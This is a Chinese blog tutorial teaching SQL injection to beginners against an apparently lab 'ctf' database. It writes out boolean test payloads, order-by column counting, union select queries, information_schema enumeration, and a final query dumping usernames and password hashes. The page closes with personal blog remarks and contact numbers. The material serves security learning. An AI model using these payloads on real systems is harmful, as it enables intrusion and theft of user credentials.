sql注入是渗透测试时常用的测试手段,带来的常见威胁有任意用户名登录、任意密码登录、管理员密码泄露、数据泄露等……作为渗透测试工作者/爱好者而言,掌握sql注入是必要的基本功,本篇主要对sql注入刚学习的新手进行讲解sql注入攻击。

  • step 1 :注入测试
    1.jpg

基础SQL查询语句:

$sql = "select id,userName,nickName from users where id={$id} limit 0,1";

当输入的id为1/2/3时,可以得到以下其中一行,id为其他时返回空,id为空时返回id=3。

id   userName     nickName
1    admin        管理员    
2    guest        游客
3    anonymous    匿名访客

常用的SQL注入点测试语句 1 and 1=1 #、1 or 1=1 #、1 and 1=2 #、1 or 1=2 #。将测试语句带入SQL语句中组成新的sql语句。并输入执行

/id=1 and 1=1 #
$sql = "select id,userName,nickName from users where id=1 and 1=1 #limit 0,1";

2.jpg

/id=1 and 1=2 #
$sql = "select id,userName,nickName from users where id=1 and 1=2 #limit 0,1";

3.jpg

/id=1 or 1=1 #
$sql = "select id,userName,nickName from users where id=1 or 1=1 #limit 0,1";

4.jpg

/id=1 or 1=2 #
$sql = "select id,userName,nickName from users where id=1 or 1=2 #limit 0,1";

5.jpg

当sql正常执行(页面返回正常),且相对的测试语句返回不同值时,基本可以判断sql注入存在。

  • step 2 :字段数目查询 order by
    MySQL中order by执行排序可以使用数字指定,比如order by 1即使用第一列排序,order by n使用第n列排序。

在测试过程中,常采用二分法测试,

id=1 order by 1 #

6.jpg

id=1 order by 5 #

7.jpg

id=1 order by 3 #

8.jpg

id=1 order by 4 #

9.jpg

可以看到,当字段数目为3时,返回正常,字段数为4时执行失败,故判断查询语句返回值共有三列。

  • step 3 : 联合查询
    联合查询可将恶意SQL语句拼接到原有语句中,带入数据库查询,此处字段为3,拼接的语句为1 union select 1,2,3 #

带入查询结果为:
10.jpg

可看到select 1,2,3被执行,并返回了结果。
而我们将id值1换成一个非正常返回值的数时(除1,2,3外的数),返回结果为
11.jpg

  • step 4 : 利用联合查询和information_schema进行信息收集

MySQL常用的系统函数:

version()            #MySQL版本
user()               #数据库用户名
database()           #数据库名
@@datadir            #数据库路径

使用语句4 union select version(),user(),database() #获取数据库版本,数据库用户,当前数据库名
12.jpg

使用语句4 union select 1,2,schema_name from information_schema.schemata #获取数据库中的所有库名
13.jpg

语句4 union select 1,2,table_name from information_schema.tables where table_schema='ctf' #获取当前库中的表名,可以看到有一个users表
14.jpg

语句4 union select 1,2,column_name from information_schema.columns where table_name='users' and table_schema='ctf' #获取当前表中的字段名称。
15.jpg

  • step 5 : 获取数据

当获取到表名、列名后即可执行sql查询数据库数据4 union select id,userName,passWord from users #
16.jpg

到这里,拿到管理员密码hash,丢到hash7073680498查询对应明文,测试结束。

一丢丢扩展 sql注入中常使用information_schema表来进行信息收集,表中记录了数据库中所有的表名、字段名等其他信息,不论是学习sql注入还是学习数据库使用,都应该对information_schema表有一定了解。

504-462-7627 听别人说解压密码是404

QQ:1512672426 欢迎来搞!

啊哈,前段时间换了服务器,阿里云换成了腾讯云,所以博客挂了半个月,现在重新上线.
博客是我用来记录自己一些学习笔记及经验的.

QQ:1512672426 欢迎来搞